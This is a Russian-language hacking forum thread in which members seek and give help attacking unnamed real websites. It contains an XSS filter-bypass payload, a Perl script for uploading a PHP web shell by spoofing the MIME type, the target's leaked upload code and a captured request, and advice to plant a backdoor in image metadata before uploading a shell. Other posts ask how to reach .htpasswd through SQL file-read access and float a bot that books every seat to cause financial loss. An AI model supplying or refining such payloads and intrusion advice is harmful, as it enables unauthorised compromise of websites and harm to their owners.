HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #2441  
Старый 29.10.2018, 17:07
Octavian
Guest
Сообщений: n/a
Провел на форуме:
97114

Репутация: 24
По умолчанию

Цитата:
Сообщение от matthhy  
matthhy said:

Просканировал сайт, там нашел вот такую ссылку -
https://site.ru/engine/ajax/poll.php
Spoiler

Что можно сделать?
Скинь посмотрю
 
Ответить с цитированием

  #2442  
Старый 30.10.2018, 18:44
matthhy
Guest
Сообщений: n/a
Провел на форуме:
18587

Репутация: 0
По умолчанию

Ребят, кто может помочь.

Есть ссылка, нашел через NetSparker, она выдает ошибку. Можно ли эту ошибку как-то раскрутить.(адрес по типу https://site.su/fullnews-14

.SpoilerTarget" type="button">Spoiler
 
Ответить с цитированием

  #2443  
Старый 01.11.2018, 23:45
Octavian
Guest
Сообщений: n/a
Провел на форуме:
97114

Репутация: 24
По умолчанию

Привет есть обходы для фильтра () " ?

Код:
Code:
XSS
 
Ответить с цитированием

  #2444  
Старый 04.11.2018, 01:36
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033

Репутация: 8
По умолчанию

Цитата:
Сообщение от Octavian  
Octavian said:

Привет есть обходы для фильтра () " ?
Код:
Code:
XSS
onerror=alert;throw 1;

This works on every browser apart from Firefox *, Safari and IE will just call the function with the argument but Chrome and Opera add uncaught to the argument. This is no big deal though since we can just modify it slightly and use a different object as an argument such as a string.

onerror=eval;throw'=alert\x281\x29';
 
Ответить с цитированием

  #2445  
Старый 11.11.2018, 19:06
Octavian
Guest
Сообщений: n/a
Провел на форуме:
97114

Репутация: 24
По умолчанию

Есть сайт на котором разрешено бронировать места, если я создам бота который забронирует все места вызвав финансовые потери, я нарушу закон?
 
Ответить с цитированием

  #2446  
Старый 13.11.2018, 06:30
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033

Репутация: 8
По умолчанию

Цитата:
Сообщение от Octavian  
Octavian said:

Есть сайт на котором разрешено бронировать места, если я создам бота который забронирует все места вызвав финансовые потери, я нарушу закон?
Вы что-нибудь слышали об упущенной выгоде?
 
Ответить с цитированием

  #2447  
Старый 14.11.2018, 12:20
Muracha
Guest
Сообщений: n/a
Провел на форуме:
54593

Репутация: 0
По умолчанию

Есть скрипт на perl c помощью которого я хочу залить на сайт веб шелл с подменой MIME-типа:

.SpoilerTarget" type="button">Spoiler: сплойлер

Код:
Code:
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;;
   $res = $ua->request(POST 'Уязвимый Сайт',
        Content_Type => ' multipart/form-data; boundary="JiFT4QdEESkPzh0ybiDyKsUPi1jnCyFCgVtV4xHE"
X-Unity-Version: 5.6.5f1',
        Content => [userfile => ["C:/jpeg.jpg.php", "jpeg.jpg.php", "Content-Type" =>"image/png", "iAuid" => "6cb4dbkgvato004v6i4vugq6q2","sSign" => "5msfdbv9gsct64cbo9e3hbc3p0", "content" => "" ],],);

print $res->as_string();
Но я не могу составить запрос таким образом, чтобы он принял файл. Постоянно натыкаюсь на ошибку 1000(что в скрипте значит - неправильно передан в параметре)

В самом бурпе натыкаюсь уже на 1002 - (неверный тип файла)

Подскажите, как правильно составить запрос на PERL, чтобы сайт принимал файл?

.SpoilerTarget" type="button">Spoiler: share

Код:
Code:
setConfig($oConfig);
        $sShareUrl = null;
        $iResult = $oSharer->doShare($sShareUrl);
        if ($iResult == 1) {
            print $sBaseUrl . $sShareUrl;
        } else {
            print $sBaseUrl . '?ec=' . $iResult;
        }
    } else {
        error_log('Sign is incorrect => iAuid:' . $iAuid . ' sSign:' . $sSign . ' sScriptUri:' . $sScriptUri);
        print $sBaseUrl . '?ec=1001'; //подпись не совпадает
    }
} else {
    error_log('Some parameters are not set => iAuid:' . $iAuid . ' sSign:' . $sSign . ' Image:' . ($Image ? '+' : '-'));
    print $sBaseUrl . '?ec=1000'; //пропущены обязательные параметры
}
.SpoilerTarget" type="button">Spoiler: share-class

Код:
Code:
auid = $auid;
        $this->fileInfo = $fileInfo;
        $this->previewInfo = $previewInfo;
        $this->shareType = $shareType;
        $this->sign = $sign;
    }

    /**
     * @param $sFolder
     */
    private function createFolder($sFolder)
    {
        if (!file_exists($sFolder)) {
            mkdir($sFolder, 0777);
        }
    }

    /**
     * @return null|string
     */
    private function createUserFolder()
    {
        if ($this->auid) {
            $shareFolder = dirname(__FILE__) . '/../../' . $this->oConfig->shareFolderName;
            $this->createFolder($shareFolder);
            $shareFolder10000 = $shareFolder . (intval($this->auid/10000)) . '/';
            $this->createFolder($shareFolder10000);
            $shareFolder1000 = $shareFolder10000 . (intval($this->auid/1000)) . '/';
            $this->createFolder($shareFolder1000);
            $shareFolder100 = $shareFolder1000 . (intval($this->auid/100)) . '/';
            $this->createFolder($shareFolder100);
            $shareFolder1 = $shareFolder100 . (intval($this->auid)) . '/';
            $this->createFolder($shareFolder1);
            return $shareFolder1;
        }

        return null;
    }

    /**
     * @return string
     */
    public function getUserFolder()
    {
        return $this->oConfig->shareFolderName . intval($this->auid/10000) . '/' . intval($this->auid/1000)
            . '/' . intval($this->auid/100) . '/' . intval($this->auid) . '/';
    }

    /**
     * @param $oConfig
     */
    public function setConfig($oConfig)
    {
        $this->oConfig = $oConfig;
        $this->dbInfo = array(
            'mysqlHost' => $this->oConfig->host,
            'mysqlUser' => $this->oConfig->user,
            'mysqlPassword' => $this->oConfig->password,
            'mysqlDB' => $this->oConfig->db,
        );
    }

    /**
     * @param $auid
     */
    public function setAuid($auid)
    {
        $this->auid = $auid;
    }

    /**
     * @param $sResult
     * @return int
     */
    public function doShare(& $sResult)
    {
        $sUserFolder = $this->createUserFolder();
        if (!$sUserFolder) return 1003; //ошибка при загрузке файла на сервер

        $time = time();

        // Заливаем основную картинку
        $imageInfo = getimagesize($this->fileInfo['tmp_name']);
        if (empty($imageInfo[0]) || empty($imageInfo[1])) return 1002; //неверный тип файла
        if (!in_array($imageInfo['mime'], $this->allowedMime)) return 1002; //неверный тип файла
        $aExt = explode('/', $imageInfo['mime']);
        $fileName = $time . '.' . $aExt[1];
        $sDest = $sUserFolder . $fileName;
        move_uploaded_file($this->fileInfo['tmp_name'], $sDest);

        // Заливаем превью (если есть что)
        $previewFileName = '';
        if ($this->previewInfo) {
            $imageInfo = getimagesize($this->previewInfo['tmp_name']);
            if (empty($imageInfo[0]) || empty($imageInfo[1])) return 1002; //неверный тип файла
            if (!in_array($imageInfo['mime'], $this->allowedMime)) return 1002; //неверный тип файла
            $aExt = explode('/', $imageInfo['mime']);
            $previewFileName = $time . '-thumb.' . $aExt[1];
            $sDest = $sUserFolder . $previewFileName;
            move_uploaded_file($this->previewInfo['tmp_name'], $sDest);
        }

        // Сохраняем, формируем ответ, если ОК
        $iResult = $this->save($fileName, $previewFileName);
        if (!$iResult) return 1004;
        $sResult = '?share='.$iResult;

        return 1;
    }

    /**
     * @param $fileName
     * @param string $previewFileName
     * @return mixed
     */
    public function save($fileName, $previewFileName = '')
    {
        $oSQL = mysqlConnect::getInstance($this->dbInfo);
        $oSQL->query('INSERT INTO tbl_share_info (auid, filename, preview_filename, sharedate) VALUES ('
            . intval($this->auid) . ', "' . $fileName . '", "' . $previewFileName . '", NOW())');

        return $oSQL->insert_id;
    }

    /**
     * @param $id
     * @return mixed
     */
    public function get($id)
    {
        $oSQL = mysqlConnect::getInstance($this->dbInfo);
        $oResult = $oSQL->query('SELECT * FROM tbl_share_info WHERE id=' . intval($id));

        return $oResult->fetch_array();
    }

    /**
     * @param $id
     * @return int
     */
    public function getPrev($id)
    {
        $oSQL = mysqlConnect::getInstance($this->dbInfo);
        $oResult = $oSQL->query('SELECT MAX(id) as prev FROM tbl_share_info WHERE idfetch_array();

        return intval($aRow['prev']);
    }

    /**
     * @param $id
     * @return int
     */
    public function getNext($id)
    {
        $oSQL = mysqlConnect::getInstance($this->dbInfo);
        $oResult = $oSQL->query('SELECT MIN(id) as next FROM tbl_share_info WHERE id>' . intval($id));
        $aRow = $oResult->fetch_array();

        return intval($aRow['next']);
    }

    /**
     * @param $auid
     * @return mixed
     */
    public function checkUserScreens($auid)
    {
        $oSQL = mysqlConnect::getInstance($this->dbInfo);
        $oResult = $oSQL->query('SELECT COUNT(*) AS iCnt FROM tbl_share_info WHERE auid=' . intval($auid));
        $aRow = $oResult->fetch_assoc();

        return $aRow['iCnt'];
    }

    /**
     * @param $auid
     * @return array
     */
    public function getUserScreens($auid)
    {
        $oSQL = mysqlConnect::getInstance($this->dbInfo);
        $oResult = $oSQL->query('SELECT * FROM tbl_share_info WHERE auid=' . intval($auid) . ' ORDER BY sharedate DESC');
        $aResult = array();
        while ($aRow = $oResult->fetch_assoc()) {
            $aResult[] = $aRow;
        }

        return $aResult;
    }
}
 
Ответить с цитированием

  #2448  
Старый 14.11.2018, 16:29
winstrool
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875

Репутация: 137
По умолчанию

Цитата:
Сообщение от Muracha  
Muracha said:

Есть скрипт на perl c помощью которого я хочу залить на сайт веб шелл с подменой MIME-типа:
Spoiler: сплойлер
Код:
Code:
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;;
   $res = $ua->request(POST 'Уязвимый Сайт',
        Content_Type => ' multipart/form-data; boundary="JiFT4QdEESkPzh0ybiDyKsUPi1jnCyFCgVtV4xHE"
X-Unity-Version: 5.6.5f1',
        Content => [userfile => ["C:/jpeg.jpg.php", "jpeg.jpg.php", "Content-Type" =>"image/png", "iAuid" => "6cb4dbkgvato004v6i4vugq6q2","sSign" => "5msfdbv9gsct64cbo9e3hbc3p0", "content" => "" ],],);

print $res->as_string();
Но я не могу составить запрос таким образом, чтобы он принял файл. Постоянно натыкаюсь на ошибку 1000(что в скрипте значит - неправильно передан в параметре)
В самом бурпе натыкаюсь уже на 1002 - (неверный тип файла)
Подскажите, как правильно составить запрос на PERL, чтобы сайт принимал файл?
Spoiler: share
Код:
Code:
setConfig($oConfig);
        $sShareUrl = null;
        $iResult = $oSharer->doShare($sShareUrl);
        if ($iResult == 1) {
            print $sBaseUrl . $sShareUrl;
        } else {
            print $sBaseUrl . '?ec=' . $iResult;
        }
    } else {
        error_log('Sign is incorrect => iAuid:' . $iAuid . ' sSign:' . $sSign . ' sScriptUri:' . $sScriptUri);
        print $sBaseUrl . '?ec=1001'; //подпись не совпадает
    }
} else {
    error_log('Some parameters are not set => iAuid:' . $iAuid . ' sSign:' . $sSign . ' Image:' . ($Image ? '+' : '-'));
    print $sBaseUrl . '?ec=1000'; //пропущены обязательные параметры
}
Spoiler: share-class
Код:
Code:
auid = $auid;
        $this->fileInfo = $fileInfo;
        $this->previewInfo = $previewInfo;
        $this->shareType = $shareType;
        $this->sign = $sign;
    }

    /**
     * @param $sFolder
     */
    private function createFolder($sFolder)
    {
        if (!file_exists($sFolder)) {
            mkdir($sFolder, 0777);
        }
    }

    /**
     * @return null|string
     */
    private function createUserFolder()
    {
        if ($this->auid) {
            $shareFolder = dirname(__FILE__) . '/../../' . $this->oConfig->shareFolderName;
            $this->createFolder($shareFolder);
            $shareFolder10000 = $shareFolder . (intval($this->auid/10000)) . '/';
            $this->createFolder($shareFolder10000);
            $shareFolder1000 = $shareFolder10000 . (intval($this->auid/1000)) . '/';
            $this->createFolder($shareFolder1000);
            $shareFolder100 = $shareFolder1000 . (intval($this->auid/100)) . '/';
            $this->createFolder($shareFolder100);
            $shareFolder1 = $shareFolder100 . (intval($this->auid)) . '/';
            $this->createFolder($shareFolder1);
            return $shareFolder1;
        }

        return null;
    }

    /**
     * @return string
     */
    public function getUserFolder()
    {
        return $this->oConfig->shareFolderName . intval($this->auid/10000) . '/' . intval($this->auid/1000)
            . '/' . intval($this->auid/100) . '/' . intval($this->auid) . '/';
    }

    /**
     * @param $oConfig
     */
    public function setConfig($oConfig)
    {
        $this->oConfig = $oConfig;
        $this->dbInfo = array(
            'mysqlHost' => $this->oConfig->host,
            'mysqlUser' => $this->oConfig->user,
            'mysqlPassword' => $this->oConfig->password,
            'mysqlDB' => $this->oConfig->db,
        );
    }

    /**
     * @param $auid
     */
    public function setAuid($auid)
    {
        $this->auid = $auid;
    }

    /**
     * @param $sResult
     * @return int
     */
    public function doShare(& $sResult)
    {
        $sUserFolder = $this->createUserFolder();
        if (!$sUserFolder) return 1003; //ошибка при загрузке файла на сервер

        $time = time();

        // Заливаем основную картинку
        $imageInfo = getimagesize($this->fileInfo['tmp_name']);
        if (empty($imageInfo[0]) || empty($imageInfo[1])) return 1002; //неверный тип файла
        if (!in_array($imageInfo['mime'], $this->allowedMime)) return 1002; //неверный тип файла
        $aExt = explode('/', $imageInfo['mime']);
        $fileName = $time . '.' . $aExt[1];
        $sDest = $sUserFolder . $fileName;
        move_uploaded_file($this->fileInfo['tmp_name'], $sDest);

        // Заливаем превью (если есть что)
        $previewFileName = '';
        if ($this->previewInfo) {
            $imageInfo = getimagesize($this->previewInfo['tmp_name']);
            if (empty($imageInfo[0]) || empty($imageInfo[1])) return 1002; //неверный тип файла
            if (!in_array($imageInfo['mime'], $this->allowedMime)) return 1002; //неверный тип файла
            $aExt = explode('/', $imageInfo['mime']);
            $previewFileName = $time . '-thumb.' . $aExt[1];
            $sDest = $sUserFolder . $previewFileName;
            move_uploaded_file($this->previewInfo['tmp_name'], $sDest);
        }

        // Сохраняем, формируем ответ, если ОК
        $iResult = $this->save($fileName, $previewFileName);
        if (!$iResult) return 1004;
        $sResult = '?share='.$iResult;

        return 1;
    }

    /**
     * @param $fileName
     * @param string $previewFileName
     * @return mixed
     */
    public function save($fileName, $previewFileName = '')
    {
        $oSQL = mysqlConnect::getInstance($this->dbInfo);
        $oSQL->query('INSERT INTO tbl_share_info (auid, filename, preview_filename, sharedate) VALUES ('
            . intval($this->auid) . ', "' . $fileName . '", "' . $previewFileName . '", NOW())');

        return $oSQL->insert_id;
    }

    /**
     * @param $id
     * @return mixed
     */
    public function get($id)
    {
        $oSQL = mysqlConnect::getInstance($this->dbInfo);
        $oResult = $oSQL->query('SELECT * FROM tbl_share_info WHERE id=' . intval($id));

        return $oResult->fetch_array();
    }

    /**
     * @param $id
     * @return int
     */
    public function getPrev($id)
    {
        $oSQL = mysqlConnect::getInstance($this->dbInfo);
        $oResult = $oSQL->query('SELECT MAX(id) as prev FROM tbl_share_info WHERE idfetch_array();

        return intval($aRow['prev']);
    }

    /**
     * @param $id
     * @return int
     */
    public function getNext($id)
    {
        $oSQL = mysqlConnect::getInstance($this->dbInfo);
        $oResult = $oSQL->query('SELECT MIN(id) as next FROM tbl_share_info WHERE id>' . intval($id));
        $aRow = $oResult->fetch_array();

        return intval($aRow['next']);
    }

    /**
     * @param $auid
     * @return mixed
     */
    public function checkUserScreens($auid)
    {
        $oSQL = mysqlConnect::getInstance($this->dbInfo);
        $oResult = $oSQL->query('SELECT COUNT(*) AS iCnt FROM tbl_share_info WHERE auid=' . intval($auid));
        $aRow = $oResult->fetch_assoc();

        return $aRow['iCnt'];
    }

    /**
     * @param $auid
     * @return array
     */
    public function getUserScreens($auid)
    {
        $oSQL = mysqlConnect::getInstance($this->dbInfo);
        $oResult = $oSQL->query('SELECT * FROM tbl_share_info WHERE auid=' . intval($auid) . ' ORDER BY sharedate DESC');
        $aResult = array();
        while ($aRow = $oResult->fetch_assoc()) {
            $aResult[] = $aRow;
        }

        return $aResult;
    }
}
Заливаете сам шел? попробуйте лить саму картинку и в ее метотегах прописать мини бэгдорчик, а там если прольется, с него уже и лейте шелл.
 
Ответить с цитированием

  #2449  
Старый 14.11.2018, 17:05
Muracha
Guest
Сообщений: n/a
Провел на форуме:
54593

Репутация: 0
По умолчанию

По скрипту он сначала проверяет на соответствие программ.

И говорит о том, что указаны неверные параметры, хотя все указано верно.

После он уже проверяет на MIME

Проблема с указанием параметров из-за незнания перла..да и бурпа.

Пример из бурпа, он уже дает ошибку 1002 и совершенно непонятно, почему в скрипте пишет ошибку 1000(неверны переданы параметры), а через бурп 1002(некорректный MIME файл) хотя я загружаю чистую картинку, без примесей

.SpoilerTarget" type="button">Spoiler: 1

Код:
Code:
POST /share.php HTTP/1.1
Host: Сайт
Connection: close
User-Agent: UnityPlayer/5.6.5f1 (http://unity3d.com)
Content-Type: multipart/form-data; boundary="JiFT4QdEESkPzh0ybiDyKsUPi1jnCyFCgVtV4xHE"
Content-Length: 591093

--JiFT4QdEESkPzh0ybiDyKsUPi1jnCyFCgVtV4xHE
Content-Type: text/plain; charset="utf-8"
Content-disposition: form-data; name="auid"

343296
--JiFT4QdEESkPzh0ybiDyKsUPi1jnCyFCgVtV4xHE
Content-Type: text/plain; charset="utf-8"
Content-disposition: form-data; name="sign"

3ca4df16083f3d3ad33409014fdf43c4
--JiFT4QdEESkPzh0ybiDyKsUPi1jnCyFCgVtV4xHE
Content-Type: image/png
Content-disposition: form-data; name="content"; filename="content"
Картинка
 
Ответить с цитированием

  #2450  
Старый 15.11.2018, 21:36
etime
Guest
Сообщений: n/a
Провел на форуме:
1385

Репутация: 0
По умолчанию

Всем привет. На сайте установлена HTTP Basic Authentication. У меня есть права на чтение файлов на сервере через sql. Как я понял на сервере Nginx отсутствует такой файл как .htaccess в нем обычно прописывают путь до .htpasswd, но так как такого файла нет, все настройки делаются как опять же я понял в nginx.conf. Этот файл конфигурации я скачал с сервера, но там нет пути до .htpasswd или чего то подобного.

Вопрос, где искать этот самый путь до .htpasswd ?

Какие есть еще файлы настроек у nginx чтобы можно было прочитать?

Всего нашел два файла /etc/nginx/nginx.conf и /etc/nginx/mime.types ( и еще /etc/nginx/.htpasswd , но файл почему то пустой.)
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ